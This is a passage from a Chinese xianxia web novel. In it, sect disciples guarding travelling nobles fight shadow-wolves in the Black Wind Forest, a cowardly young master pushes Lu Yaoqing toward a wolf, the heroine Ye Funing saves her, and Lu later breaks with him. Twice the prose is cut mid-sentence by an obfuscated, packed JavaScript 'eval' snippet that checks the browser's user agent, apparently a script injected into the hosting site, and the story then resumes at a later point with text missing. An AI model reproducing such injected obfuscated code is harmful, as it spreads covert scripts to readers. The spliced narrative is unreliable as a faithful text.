《我们负债累累的那些年》 8. 黑风林内显真章,公子怯懦推红妆。 接上回: 天光尚未大亮,林间弥漫着湿润的草木气息和淡淡的晨雾。昨夜的篝火已经完全熄灭,只剩下一堆灰白的余烬,几缕细烟无力地向上飘散。 叶傅宁从自己的小帐篷里钻出来,活动了一下有些僵硬的脖颈,顺手拿起放在一旁的洗漱用具,走向不远处潺潺流动的小溪边。冰凉的溪水拍在脸上,驱散了最后一点睡意,让她彻底清醒过来。 营地也渐渐有了其他人声。李小姐的侍女正轻手轻脚地收拾着寝具,孙公子则已经穿戴整齐,默默地在不远处检查着马匹的鞍具和缰绳。 王少爷是最后才被仆从小心翼翼唤醒的,他打着巨大的哈欠,伸着懒腰,嘴里嘟嘟囔囔地抱怨着地面太硬、睡得不舒服。 陆瑶卿也从她那顶精致的小帐篷里走了出来,低着头,默默整理着裙摆,动作有些心不在焉。 她的目光不经意间扫过昨日篝火燃烧的地方,那里,叶傅宁正蹲在地上,熟练地将一些干燥的枯枝败叶拢到一起,用火折子引燃,重新升起一小簇温暖的灶火。 火苗舔舐着枯枝,发出噼啪的轻响。叶傅宁将水囊里剩下的清水,倒入一个擦拭干净的小铜壶里,架在临时搭起的石灶上烧着。 水烧开后,叶傅宁提着有些烫手的铜壶,扬声唤道:“怀逸,快别犯迷糊了,赶紧的,把咱的水囊拿过来装热水!”她声音清亮,带着晨间的活力。 刚刚洗漱完、头发还有些乱翘的沈怀逸,闻声打了个哈欠,揉了揉眼睛,虽然还有些没完全清醒的迷糊,却听话地拿着三个朴实无华但容量颇大的竹制水囊走了过来,乖乖蹲在叶傅宁身边,看着她将滚烫的开水小心地灌入水囊中。 “小心烫,拿稳了。”叶傅宁一边灌水,一边不忘叮嘱。 “知道了,我又不是小孩子……”沈怀逸小声嘟囔,手上却稳稳地握着水囊。 灌满三个水囊后,叶傅宁提着还剩小半壶热水的铜壶,走到几位正在简单梳洗或用冷冽溪水漱口的少爷小姐面前,脸上带着爽朗的笑容,开口道: “这林中晨露寒重,溪水冰冷刺骨。诸位若不愿用那冷水,这里有刚烧开的热水,可以接去洗漱,驱驱寒意,也能暖暖身子再上路。” 正揉着酸疼肩膀、对着冰冷溪水龇牙咧嘴的王少爷一愣,脸上立刻露出“得救了”的夸张表情,连连道:“哎呀!叶姑娘!你想得可真周到!太感谢了!快快,阿福,快去把本少爷的水囊拿来接热水!” 李小姐也停下用冰冷绢帕擦拭脸颊的动作,细声吩咐身边的侍女:“去取我们的水囊来,多谢叶姑娘。” 孙公子已经洗漱完毕,闻言也朝叶傅宁微微颔首致意,算是谢过。 唯有赵公子,神色复杂地看着这一幕。他昨夜辗转难眠,一方面是被白日的惊险吓得不轻,另一方面也是因为众人态度的微妙变化让他如坐针毡。此刻,他看着叶傅宁这般周到地照顾众人,再对比自己昨日的表现,心里更是五味杂陈。 他清了清嗓子,脸上努力挤出一个与平日无异的、温和有礼的笑容,主动走向叶傅宁,姿态放得很低:“叶姑娘真是心细如发,思虑周全,处处为大家着想。昨日……也多亏祁兄在危急关头出手相救,赵某……感激不尽。” 他拱手一礼,腰弯得比平时更深些,姿态做得十足十,试图弥补昨日失态留下的裂痕。 不远处,早已收拾妥当,正在马车边默默整点行囊、检查绳索的祁燕雪,闻言只是淡淡地朝这边看了一眼,金色的眼眸里没什么情绪。 他微微颔首,算是听到了,也接受了这声谢,却并未多言,转头继续手中的活计,仿佛那只是一件不值一提的小事。 叶傅宁心里明镜似的,对赵公子这迟来的、带着明显弥补意味的道谢不置可否。她面上依旧笑嘻嘻的,语气轻快,却四两拨千斤地将话题带过:“赵公子客气了,分内之事而已,答谢就不必了。我们玄苍派弟子接任务,讲究的就是一个信誉和本分。您啊,记得尾款就成。” 一句话,干脆利落地又把天聊回了纯粹、清晰的雇佣关系上,划清了界限,也堵住了对方可能想进一步拉关系或表现“大度”的后续。 赵公子脸上的笑容几不可察地僵了一瞬,眼底闪过一丝不易察觉的难堪。但他很快反应过来,哈哈一笑,用笑声掩饰过去,连连点头:“那是自然,那是自然!赵某岂是言而无信之人?尾款必定一分不少!”只是那笑声,听着多少有些干涩。 待众人都简单梳洗完毕,用过早间干粮,车队才在晨雾尚未完全散去的林间再次整队出发。今日负责在前引路的是叶傅宁,祁燕雪和沈怀逸一左一右,默契地护在车队两侧。 只是经历了昨日一线天那场生死一线的落石惊魂,队伍里的气氛明显沉闷凝滞了许多。之前偶尔还能听到的少爷小姐们的说笑声消失了。 唯有单调的马蹄声、车轮碾过碎石的咯吱声,以及林中早起鸟雀零星的啼叫,规律地响着,衬得气氛更加压抑。 地势渐渐起伏,官道变成了林间土路。约莫又走了半个时辰,前方景象豁然一变。 一片浓重得仿佛化不开的墨绿色山林,如同巨兽般匍匐在前方地平线上。那林子极密,树冠层层叠叠,几乎遮蔽了天空。 最奇异的是,林子的上空,竟笼罩着一层若有若无、如同薄纱般的黑色雾气,缓缓流动着,阳光照射上去,都显得有些黯淡无力。一种无形的、令人心神不宁的压抑感,隔着老远便扑面而来。 正是黑风林。 “前方就是黑风林了,”祁燕雪策马来到叶傅宁身侧,与她并辔而行,声音压低,带着提醒的意味,“此林因常年弥漫黑瘴雾气得名。林中多生低阶妖兽,受瘴气影响,性情往往比外界同类更加凶暴,喜群居,需格外警惕。” 叶傅宁点点头,神色也凝重了几分。她勒住马匹,转身面向车队,提高声音,清晰地说道:“诸位,前方即将进入黑风林。林内树木茂密,光线昏暗,道路复杂,且可能有妖兽出没。为安全起见,请务必关好车窗,无论途中听到什么动静,除非我们明确告知安全,否则千万不要擅自下车或探头张望。一切交给我们。” 她的声音沉稳有力,带着一种令人信服的镇定,稍稍驱散了众人心头的恐惧阴云。 李小姐在马车内轻声回应:“有劳三位少侠多加费心。”声音虽轻,但充满了信任。 王少爷也连忙扒着车窗喊道:“三位少侠!拜托了!一定要平安过去啊!” 赵公子没有出声,只是沉默地放下了自己那边的车窗帘子。 陆瑶卿坐在自己的马车里,手指无意识地绞着裙摆上的丝带,目光透过车窗缝隙,望着前方叶傅宁挺直的背影,和那片越来越近的、仿佛能吞噬一切的墨绿与漆黑,心头像是被什么东西揪紧了。 车队缓缓驶入黑风林。 一入林,仿佛瞬间从白昼跨入了黄昏。参天古木的树冠交织成密不透风的穹顶,将绝大部分天光严严实实地挡在外面,只有极少数顽强些的光线,透过枝叶的缝隙,投射下零星破碎的光斑,非但不能照亮前路,反而让林中的阴影显得更加光怪陆离。 空气中那股潮湿的泥土和厚重腐叶的气息更加浓烈,还混杂着一丝若有若无的、令人不安的腥臊味。 四周安静得可怕。连鸟鸣虫嘶都几乎绝迹,只有车队行进的声音在寂静的林间回荡,显得格外突兀和响亮。 每个人都下意识地屏住了呼吸,聆听着周围的动静。 突然,走在最前面的叶傅宁猛地勒住马匹,手臂高高抬起,做了一个干脆利落的“停止”手势。 整支车队立刻停了下来。 “怎么了?叶姑娘?”孙公子沉稳的声音从紧随其后的马车里传来,他掀开了前方车帘的一角,露出半张冷静的脸。 叶傅宁没有回头,紧盯着前方被浓雾笼罩的岔路口,声音沉凝:“路不对。” “怎么会不对?”另一辆马车里传来王少爷带着惊惧的声音,“我们上次来,走的明明就是这条路!我记得清清楚楚!” 祁燕雪已经策马来到叶傅宁身边,闻言,语气平静无波地反问:“上次是何时?” “半年前……大概吧。”王少爷的声音低了下去,底气明显不足。 “黑风林受地气与黑瘴影响,林木生长极快,路径错综复杂,且常有天然形成的迷阵。”祁燕雪的声音在寂静的林间清晰响起,带着一种令人信服的冷静,“据典籍与过往行商经验,林中路径,三日一小变,十日一大变。半年前的路径,如今早已面目全非。” 叶傅宁沉默着翻身下马,将缰绳递给旁边的沈怀逸,自己则快步走到那个诡异的岔路口,蹲下身,仔细察看着地面泥土的痕迹、草木倒伏的方向,以及树干上可能留下的、极其细微的记号或爪痕。 祁燕雪和沈怀逸也迅速下马,上前协助。沈怀逸从怀中取出一个巴掌大小的青铜罗盘,指针原本稳稳地指向南方。然而,当他将罗盘靠近岔路口时,指针却像发了疯一样开始不停转动,时而顺时针,时而逆时针,完全失去了方向。 “这里有很强的地磁干扰,或者……有什么东西在干扰灵气。”沈怀逸眉头紧锁,语气严肃,“寻常指路的法子,在这里恐怕都没用。” 话音刚落—— “嗷呜——!” 左侧浓密得几乎化不开的灌木丛中,猛然传来几声低沉凶戾的嚎叫,黑影闪动,三道迅疾如风的身影猛地窜出,直扑车队! 那是三只通体漆黑、唯独眼睛泛着幽绿光芒的狼形妖兽,它们体型比寻常野狼大上一圈,肌肉贲张,爪牙锋利,皮毛在昏暗的光线下几乎与周围的阴影融为一体,行动时悄无声息,唯有那双充满嗜血欲望的幽绿眼睛,在雾气中亮得瘆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一只体型更为庞大、额间有一撮醒目白毛的影狼头领,它比它的同类更加狡猾,更加有耐心。它没有跟随同伴一起莽撞出击,而是悄无声息地绕了一个大圈,借助浓雾和扭曲林木的掩护,如同最老练的猎手,潜行到了车队的最后方——赵公子那辆最为华贵、也最显眼的马车附近。 它伏低身体,肌肉紧绷,幽绿的眼睛死死锁定了目标。 就是现在! “吼——!” 一声比先前更加暴戾、充满力量的咆哮猛然炸响,那影狼头领如同黑色的闪电,从一丛茂密的荆棘后猛扑而出,速度快得惊人!它的目标明确——赵公子马车的车窗。 “咔嚓!嗤啦——” 坚固的车窗木框在那对堪比精钢的利爪面前,如同纸糊般被轻易撕裂,破碎的木屑和布料四处飞溅,一张布满獠牙、滴着腥臭涎水的血盆大口,伴随着浓重的腥风,猛地探入车内。 “啊——!!!” 车内瞬间爆发出赵公子撕心裂肺、完全变了调的尖叫声,那张总是维持着温和假面的脸上,此刻只剩下无边的恐惧和扭曲,所有的风度、所有的仪态,在死亡的威胁面前荡然无存。 他吓得魂飞魄散,大脑一片空白,只剩下最原始、最卑劣的求生本能,在极度的恐惧驱使下,他几乎是没有经过任何思考,猛地伸手,将恰好站在他身旁、同样吓得呆住的陆瑶卿,用尽全力狠狠往前一推。 试图用她的身体,去阻挡那近在咫尺的妖兽利齿,而他自己,则像一滩烂泥般,手脚并用地向后疯狂缩去,恨不得把自己嵌进车厢最里面的木板里。 “瑶卿——!!!” 一直分神留意着后方动静的叶傅宁,眼角余光瞥见这一幕,瞬间目眦欲裂,眼睛里爆发出难以置信的震惊和滔天怒火,她怎么也没想到,一个人竟然可以卑劣自私到如此地步! 陆瑶卿被这毫无征兆、用尽全力的一推,推得整个人向前一个踉跄,完全失去了平衡。她脑中一片空白,世界仿佛在瞬间失去了声音和色彩,只剩下眼前那张急速放大、布满獠牙、喷吐着腥臭热气的血盆大口,和那双残忍冰冷的幽绿兽瞳。 死亡的阴影,如同最冰冷的潮水,瞬间将她彻底淹没。她能感觉到那锋利爪牙带起的腥风,已经触到了她的面颊。绝望,冰冷的绝望,攥紧了她的心脏。 要死了吗? 就这样……死在这里? 被一个自己曾经盲目追随的人……亲手推入妖兽口中? 本回正是: 黑风林内显真章, 影狼突袭露锋芒。 公子怯懦推红妆, 千钧一发生死场。 各位客官欲知陆瑶卿命悬一线,何人能在这电光石火间舍身相救?赵公子此番卑劣行径彻底暴露,又将陷入何等众叛亲离之境地?且听下回分解! 9. 患难方知真心贵,剑穗摇曳映情长。 接上回: 眼见那裹挟着腥风的利爪已至陆瑶卿面门,死亡的阴影将她彻底笼罩。 陆瑶卿脑中一片空白,连惊叫都哽在喉咙里,只来得及闭上眼,心中最后闪过的,竟是叶傅宁总是带笑的眉眼,以及昨夜篝火旁,她披在自己肩上那件带着体温的青色外袍的温度。 “砰!” 就在这千钧一发之际,一道青色的身影如同撕裂迷雾的闪电,以决绝的姿态,硬生生插入了陆瑶卿与那夺命利爪之间! 是叶傅宁! 她将体内灵力毫无保留地灌注于双腿经脉,身形快得在众人视网膜上只留下一抹模糊的残影。 她甚至来不及摆出任何防御剑式,全凭一股悍勇到极致的本能,将全身的气力与灵力凝聚于剑尖一点。 那柄伴随她多年的长剑感受到了主人的心意,发出清越激昂的嗡鸣,剑身包裹着纯净的白色灵光,化作一道撕裂黑暗的雷霆,不偏不倚,精准无比地刺向影狼因前扑而暴露无遗的咽喉要害! “噗嗤——!” 利刃割裂坚韧皮毛、穿透筋骨的声音在寂静的林间格外刺耳。滚烫的、带着浓郁腥气的兽血如喷泉般激射而出,几点猩红甚至溅上了叶傅宁骤然绷紧、写满决绝的侧脸。影狼发出一声短促而凄厉到极致的哀嚎,庞大的身躯猛地一僵。 然而,这垂死的妖兽竟在最后关头爆发出令人胆寒的凶性!它那只挥空、带着倒钩利爪的前肢,借着扑击的巨大惯性,竟狠狠向内一划! 叶傅宁为了救人,冲势已老,新力未生,加之距离太近,只来得及将左臂猛地向内一缩。 “嘶啦——!” 先是布料被轻易撕裂的声响,紧接着,是皮肉被锐物狠狠割开的、沉闷而令人心悸的声音! 剧痛!如同烧红的烙铁猝不及防地烫在神经上,瞬间席卷了叶傅宁的整个左臂,直冲脑海! 自肘部至手腕,一道深可见骨的狰狞伤口豁然绽开!鲜血如同决堤的洪流,几乎是喷涌而出,迅速浸透了青色的衣袖,将那抹青色染成一片沉郁的暗红。 温热的液体顺着她的指尖滴滴答答地落下,砸在积满腐叶的地面上,晕开一小片刺目惊心的暗红色痕迹。 “呃……!” 叶傅宁发出一声压抑的闷哼,额角青筋因剧痛而突突跳动,原本红润的脸色瞬间褪尽血色,变得苍白如纸,细密的冷汗几乎立刻布满了她的额角和鼻尖。 剧烈的疼痛带来一阵晕眩,但她持剑的右手却稳如磐石,甚至借着这股痛楚激起的狠劲,猛地抬起右脚,灌注灵力,狠狠踹在影狼尚未完全倒下的躯体上。 “砰!” 沉重的兽尸被她踹得横飞出去,撞在旁边一棵粗壮的树干上,发出沉闷的撞击声,彻底没了声息,只剩汩汩的鲜血从咽喉的创口流出。 直到此刻,她才因失血和剧痛而踉跄了半步。但她立刻强忍着左臂传来的阵阵晕眩和灼痛,猛地转过身,用自己尚且完好的右侧身体,将身后那个吓得魂飞天外、浑身僵直如木偶的陆瑶卿,严严实实地挡在背后。 她右手长剑斜指地面,剑尖犹自滴落着混合了她自己与妖兽鲜血的暗红液体。剑柄上系着的青玉球与白平安扣组成的剑穗,在方才剧烈的动作中沾上了几点血污,随着她微微颤抖的手轻轻晃动着。 她的目光如同淬了冰的锥子,死死钉在瘫软在地、抖得如同秋风落叶般、面无人色的赵公子脸上。 这一切,从影狼扑出到叶傅宁负伤反杀、出言讥讽,不过发生在两三个呼吸之间。 陆瑶卿直到此刻,才仿佛从冰封的状态中解冻。她完全没料到,自己一路追随、心中倾慕的“赵哥哥”,在生死关头竟会如此毫不犹豫、甚至堪称狠毒地将她推出去挡灾! 巨大的震惊与后怕如同冰冷的潮水,瞬间淹没了她,让她浑身发冷,四肢僵硬,连呼吸都变得困难。 风声、人声、乃至自己的心跳声,在她耳中都变得遥远而模糊,只有方才利爪破空而来的腥风和叶傅宁挡在她身前时衣衫被撕裂的声音,在脑海中无限放大、回响。 她呆呆地站在原地,看着叶傅宁虽然染血却依旧挺拔如青竹的背影,看着那仍在微微颤抖、却始终不曾放下的持剑右手,看着那沾了血污却依旧随风轻荡的青玉剑穗……平常伶牙俐齿、能言善辩的小嘴此刻却像被缝住了一般,一个字也吐不出来,只有滚烫的液体不受控制地冲上眼眶,模糊了视线。 现场一片死寂。所有人都看清了刚才那惊心动魄又令人心寒的一幕。 “师姐!” 祁燕雪和沈怀逸也第一时间摆脱了纠缠的影狼,赶到叶傅宁身边。祁燕雪长剑横于身前,警惕地扫视着周围可能残存的妖兽。 沈怀逸则迅速解下腰间用来应急的小布包,从中取出一个巴掌大小、雕刻着云纹的紫檀木针匣和几个贴着不同标签的玉瓶,动作快而不乱。 “叶傅宁!你这个不要命的!又逞能!” 他嘴上骂得凶,语气冲得能点火,但手上动作却精准迅捷到了极点。他并指如剑,指尖瞬间凝聚起一层温润柔和的金色灵光,那是沈家秘传的“回春指”手法。 只见他指尖快若幻影,在叶傅宁左臂伤口周围的几处大穴连点数下。金色灵光没入穴位,那汹涌而出的血流肉眼可见地缓了下来,不再呈喷射状。 “忍着点,蠢女人!影狼爪上带煞毒,必须立刻祛除,否则侵入经脉就麻烦了!” 他打开针匣,取出三根细如牛毛、长约两寸的秘银长针,针尾闪着淡淡的灵光。 他手腕一抖,快得只见三道银芒闪过,三根银针便已精准地刺入伤口周围特定的穴位,针尾因灵力的注入而微微颤动,发出极轻微的、如同蜂鸣般的“嗡嗡”声。 随着银针的颤动,一丝丝黑灰色的、带着不祥气息的煞气被银针引导着,从叶傅宁的伤口处丝丝缕缕地逸散出来,消散在空气中。 叶傅宁疼得脸色惨白,嘴唇被她咬得泛出青白色,额角冷汗如雨,却死死咬着牙关,硬是一声痛呼都没发出,只是身体因剧痛而无法控制地微微颤抖。 待最后一丝黑灰色煞气被逼出,沈怀逸才松了一口气,迅速拔掉银针。他拿起一个标着“玉肌生骨膏”的白玉瓶,倒出小半瓶莹白如玉、质地细腻的药膏在掌心,用自身温和的灵力稍加催化,药膏瞬间化开,变得温热而更具活性。他这才小心翼翼地、尽量轻柔地将药膏敷在叶傅宁那道狰狞的伤口上。 那药膏果然神奇,触体即化,迅速融入皮肉之中。流血彻底止住,翻卷的皮肉开始以肉眼可见的速度缓缓收敛、愈合,虽然距离完全长好还很远,但显然已无大碍。 沈怀逸又从包里取出干净柔软的特制纱布,动作熟练利落地为她包扎好,最后打上一个结实又不会压迫伤口的结。 做完这一切,沈怀逸额头上也见了汗。他瞪着叶傅宁,又开始习惯性地、色厉内荏地碎碎念: “活该!让你冲那么快!你以为你是铜皮铁骨吗?!要不是你上次在丹房吓我,我们能炸了丹房欠下巨债吗?!不欠债我们能沦落到这儿给人当护卫看人脸色吗?!现在好了!旧债未清又添新伤!你怎么不干脆疼死算了!也省得我天天替你操心!” 陆瑶卿站在一旁,将这一切尽收眼底。她看着叶傅宁为了救自己而毫不犹豫地以身挡爪,负伤流血,再回想起赵公子那毫不犹豫、将她推向死亡的一推……巨大的后怕、翻江倒海般的感激、对赵公子彻底心死的愤怒、以及对叶傅宁复杂难言的情绪交织在一起,让她心潮澎湃,难以自已。 她看向赵公子的眼神里,最后一丝残存的温度与幻想,也如同风中残烛般,彻底熄灭了,只剩下冰冷的漠然与鄙夷。 叶傅宁感觉左臂虽然依旧疼痛,但已从那种撕裂般的剧痛变成了可以忍受的钝痛,甚至有一股温和醇厚的药力在伤口处缓缓流转,滋养着受损的经络血肉,知道沈怀逸必定是动用了压箱底的好东西。 她心头一暖,看向还在生闷气、眼眶却有点发红的沈怀逸,故意咧开一个略显虚弱的笑容,语气轻松地调侃道:“谢啦,师弟。我就知道,关键时刻,还是我们怀逸最靠得住,医术超群,仁心仁术!” 沈怀逸没有理她的油嘴滑舌,只是把那个玉瓶强硬地塞进叶傅宁没受伤的右手里,恶声恶气地叮嘱,“拿着!早晚各敷一次!不许偷懒!伤口结痂前左手不准用力,不准沾水,不准再乱冲乱撞!要是留下疤或者伤了经脉根基,你这胳膊废了可别怪我没提醒你!” 说完,他立刻转向一直持剑警戒的祁燕雪,语气里满是关切,“师兄,你没受伤吧?有没有哪里不舒服?” 祁燕雪一直紧绷的神经在确认暂时安全后才略微放松。他摇摇头,收剑归鞘,眼眸里担忧未散:“我无事。” 他的目光始终落在叶傅宁包扎好的左臂上,那白色纱布上隐隐渗出的淡红色,让他觉得格外刺眼。 他走到叶傅宁身边,蹲下身,视线与她齐平,仔细地看了看她依旧苍白的脸色,又看了看她手臂上的纱布,轻声问:“师姐,还疼吗?” 叶傅宁看着眼前满脸写着担忧的师弟,心头微软。她习惯性地抬起右手揉揉他的头发,脸上挤出一个尽可能灿烂、满不在乎的笑容,安抚道:“不疼!真的,你师姐我皮糙肉厚,这点小伤算什么?过两天就好了!你看,怀逸的药多灵!” 祁燕雪没有躲开她的手,只是仰头看着她的眼睛,他抿了抿唇,沉默了一下,然后语气异常认真、甚至带着一丝恳求地说道:“师姐,下一次换我来。” 他想说的是,下一次,让他来挡在前面,让他来承受危险。 叶傅宁闻言,心里又暖又酸。她收回了手,故意板起脸,装作严肃的模样,反驳道:“那可不行!万一你这小子把我的风头全抢了怎么办?你只能在旁边乖乖看着,欣赏你师姐我的飒爽英姿,听到没?” 保护师弟,不让身边任何重要的人受伤——这种事,让她这个大师姐来做就够了。 祁燕雪没有被她故作轻松的话带偏,他只是依旧专注地看着她的眼睛,仿佛要看进她心底去。她的眼神里,总是在明快的笑意下,藏着不容动摇的坚强与沉甸甸的责任。 他最后还是用力点了点头,伸出手,小心翼翼避开她的左臂,稳稳地将她从地上拉了起来。 经此一役,赵公子面色灰败如土,缩在马车角落,连头都不敢抬,彻底失了人心。王少爷、李小姐等人看向他的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆瑶卿的手被她温暖干燥的手掌包裹住,先是一僵,本能地想抽回,但感受到那掌心传来的坚定暖意,她紧绷的指尖慢慢地、一点点地放松下来,甚至,在无人察觉的细微动作里,她悄悄反握紧了叶傅宁的手指。 她抬起眼,看着叶傅宁苍白却依旧带着明朗笑意的脸,用力点了点头。然后,她便拉着叶傅宁,一步步走向自己那辆虽然沾了尘土却依旧华美精致的马车。她的步伐从最初的虚浮踉跄,渐渐变得稳定,直至坚定。 马车内空间宽敞,铺着柔软的绣花毯子,小几上还摆着未收起的妆奁和熏香炉,散发着淡淡的馨香。陆瑶卿让叶傅宁坐在铺了软垫的位置上,自己则去翻找行李。 她在一叠衣裙中挑拣了一会儿,特意选了一件与自己身上显眼调不同、更接近叶傅宁平日所穿色系的青碧色齐腰襦裙。 裙子是上好的雨过天青云锦所制,触手柔软丝滑,虽然不如叶傅宁原本那件宗门制服带有基础防护符文,但舒适度极佳。裙子对叶傅宁来说略有些短小,袖口也稍窄,但勉强能穿。 换衣时,陆瑶卿的动作轻柔得不可思议。她小心地帮助叶傅宁脱下染血破损的左袖,全程屏息凝神,极力避开了包扎好的伤口。当那件浸透了暗红鲜血、左袖几乎被撕裂的青色外袍被换下时,陆瑶卿仔细地将它叠好,抱在怀里。 她的指尖无意识地、一遍遍摩挲着袖口那片已经变成暗沉褐色的血迹,低垂的眼睫遮住了眸中翻滚的情绪,声音很轻,却带着一种郑重的承诺意味: “这件染了血,还破了。等我回去一定找最好的绣娘,把它洗净、修补好再还给你。” 那语气,不像是在说一件衣服,倒像是在许诺一件极其重要、关乎信义与心意的珍贵之事。 叶傅宁任由她忙碌,闻言心中微软,知道这小姑娘是觉得亏欠,想用这种方式弥补。她不想让陆瑶卿背负这种心理负担,便用格外轻松甚至带点调侃的语调说: “行啊,那就麻烦我们瑶卿大小姐费心了。不过真的不用太在意,一件衣服而已,破了就破了,人没事最重要。” 二人收拾妥当下车时,营地已经再次整顿完毕,只是气氛比之前更加微妙凝重。赵公子已经在家仆的帮助下重新整理了仪容,换上了干净的外袍,头发也重新梳好,乍一看似乎恢复了往日风度。 但他眼神躲闪,面色依旧残留着惊惧过后的灰白,尤其是当陆瑶卿和叶傅宁从马车里出来时,他更是立刻低下头,恨不得缩进角落里,再不敢与陆瑶卿对视,更无颜面对叶傅宁。 其余几位少爷小姐也已经各自回到了马车上,他们的眼神里,对赵公子是毫不掩饰的疏离与鄙夷,而对叶傅宁三人,则多了几分发自内心的敬佩与感激。无需多言,方才生死关头各自的表现,已让这支临时队伍里的人心向背,泾渭分明。 稍事休整后,沈怀逸再次拿出那个先前失灵的罗盘。这次他深吸一口气,指尖凝聚起精纯的灵力,缓缓注入罗盘中央的阵眼。罗盘表面的符文次第亮起微光,原本疯狂乱转的指针挣扎了几下,终于逐渐稳定下来,指向了林间某个特定的方向。 “这边!”沈怀逸眼睛一亮,语气带着如释重负的得意,“果然,这里的干扰需要更强的灵力才能暂时抵御。都跟紧了!” 车队再次启程,向着黑风林更深处行去。在叶傅宁、祁燕雪和沈怀逸三人越发默契的配合下,一些风险都有惊无险地化解了。 本回正是: 利爪临身推红妆, 青锋染血护娇棠。 患难方知真心贵, 剑穗摇曳映情长。 各位客官欲知这看清人心冷暖、心意渐明的陆姑娘将作何抉择?且听下回分解! 11. 三掌断情明心志,少女离家初长成。 接上回: 陆瑶卿抬手—— “啪!” 一声清脆响亮的耳光,结结实实地甩在了赵公子那张尚且带着惊愕与讨好的脸上! “赵公子,这一巴掌,是为你昨日推我挡灾的卑劣行径!” 陆瑶卿声音冰冷,带着前所未有的疏离与决绝。 不等赵公子反应过来,“啪!” 反手又是一记更重的耳光! “这一掌,是为我过去眼瞎,竟会看上你这么个金玉其外、败絮其中的货色!” 她的话语像淬了冰的刀子,毫不留情。 紧接着,最后一掌,力道最大,响声最亮!“这最后一下,是为你这一路上,屡屡对我师姐言语轻慢、态度不敬!” 三巴掌打完,赵公子被打得晕头转向,脸颊迅速红肿起来,嘴角甚至渗出了一丝血迹,捂着脸,满眼都是难以置信的惊恐与屈辱。 陆瑶卿却看也不看他那狼狈模样,仿佛多看一眼都嫌脏。她扬起下巴,清晰而冷硬地宣布:“从今往后,我陆瑶卿与你赵子谦,恩断义绝,再无瓜葛!” 说完,她径直转身,毫不犹豫地走到了叶傅宁身后半步处站定,姿态明确。 周围,王少爷、李小姐、孙公子,连同客栈门口围观的伙计路人,无不面露惊讶。但惊讶过后,众人眼神里却不由自主地流露出几分不加掩饰的赞赏与痛快! 叶傅宁压住心底想要当场喝彩鼓掌的冲动,眼中笑意几乎要溢出来。她伸手,极其自然地揉了揉陆瑶卿的发顶,感受着掌心下柔软的发丝,然后对她竖起一个大拇指,用口型无声地赞道:“干得漂亮!” 陆瑶卿非但不躲,反而微微仰头,迎上叶傅宁赞赏的目光,方才冷若冰霜的小脸上瞬间冰雪消融,绽开一个纯粹又带着点小得意的、甜甜的笑容,像只刚完成狩猎、正昂首等待夸奖的骄傲小猫儿。 站在稍远处的祁燕雪和沈怀逸将这一幕尽收眼底。祁燕雪眼神里多了几分了然,表情依旧平静。 沈怀逸则撇了撇嘴,低声对自家师兄嘀咕:“我就知道……看叶傅宁那嘚瑟样,还有这陆小姐黏糊糊的眼神……得,竹宗又要多一张吃饭的嘴了,还是特别挑食的那种。” 他嘴上嫌弃,心里却已经默认了这个“新成员”的存在——毕竟,能为了维护师姐当众扇那讨厌鬼三巴掌的人,勉强……也算顺眼吧。 仙市之行,至此才算真正圆满结束。 回到云集镇交付任务时,赵府管事看着自家少爷那肿得像发面馒头、还带着清晰指印的脸颊,又看了看旁边站得笔直、一脸“人畜无害”的三人,眼神惊疑不定。 领头的叶傅宁上前一步,笑容得体,语气诚恳地解释道:“赵管事莫怪,这一路山林跋涉,气候多变,赵公子金贵,想是有些水土不服,体内虚火上升,这脸……便有些浮肿了。我等已尽力照料,无奈条件有限。” 赵子谦刚想张嘴反驳,就感到背后一道冰冷的视线如芒在背。祁燕雪不知何时已悄无声息地站到了他侧后方,手中长剑虽未出鞘,但剑柄似有似无地抵在了他的腰眼上。 赵子谦浑身一僵,想起昨日峡谷中那快如鬼魅的剑光和方才陆瑶卿毫不留情的巴掌,到嘴边的话硬生生咽了回去,只能对着管事挤出一个比哭还难看的、默认的表情,眼神里满是憋屈和求救。 赵管事心中疑虑更深,但看主子这副模样,又看看对面四人不卑不亢的姿态,再掂量一下这趟护送确实有惊无险、人货基本平安,终究没敢多问。他叹了口气,按照约定,将剩下的尾款——又一只沉甸甸的钱袋,交到了叶傅宁手中。 “有劳几位少侠了。” 赵管事语气复杂。 “分内之事,赵管事客气。” 叶傅宁接过钱袋,指尖感受着那令人安心的重量,脸上的笑容真切了几分。 这个困扰了他们好一阵、堪称“飞来横祸”的丹房债务大坑,总算是填上了一部分!虽然距离彻底还清还有不少,但至少看到了曙光。 四人站在安城陆府气派的朱红大门外。陆瑶卿深吸一口气,仿佛要将所有对家的眷恋与对未来不确定的忐忑都吸入肺腑,再缓缓吐出。她转向叶傅宁,眼神坚定:“姐姐,你们在此等我片刻。” 她独自一人,推开那扇熟悉的府门,走了进去。身影消失在门后。 门外,叶傅宁三人都有些紧张地等待着。按照常理,世家千金要舍弃优渥生活跑去修仙,家里还不闹翻了天? 然而,不过一炷香的功夫,府内并未传来预想中的震怒吼声或摔打斥骂。反而,隐隐有压抑的啜泣声,以及温言劝解的低语传来,模糊不清,却并无激烈的冲突。 厅堂内,气氛凝重而伤感。陆夫人早已泪湿罗帕,紧紧拉着女儿的手不肯放,声音哽咽:“我的宝儿啊……修仙问道,岂是那么容易的事?娘听说那些宗门里规矩大得很,训练又苦,动辄受伤,你自小金枝玉叶,十指不沾阳春水,爹娘怎么放心得下啊……” 字字句句,皆是为人父母的不舍与担忧。 陆老爷也是眼眶发红,背着手在厅中踱步,重重叹了口气,看向女儿的目光里满是心疼与挣扎:“瑶卿,你当真想好了?非去不可?那玄苍派……爹也不是毫无门路,可以派人去打点一番,定不让你在里面受委屈……” “爹,娘,” 陆瑶卿跪在父母面前,抬起头,眼神清澈而坚定,没有半分动摇,“女儿想好了,真的想好了。女儿长大了,不想再做笼中豢养、只能依附他人眼色生活的金丝雀。这次下山,女儿见识了世间险恶,也遇到了真心待我、教我自强的叶姐姐。我想变得和她一样,能掌握自己的命运,保护自己想保护的人,不再做遇到危险只能等待别人救援、甚至被……推出去的弱者。” 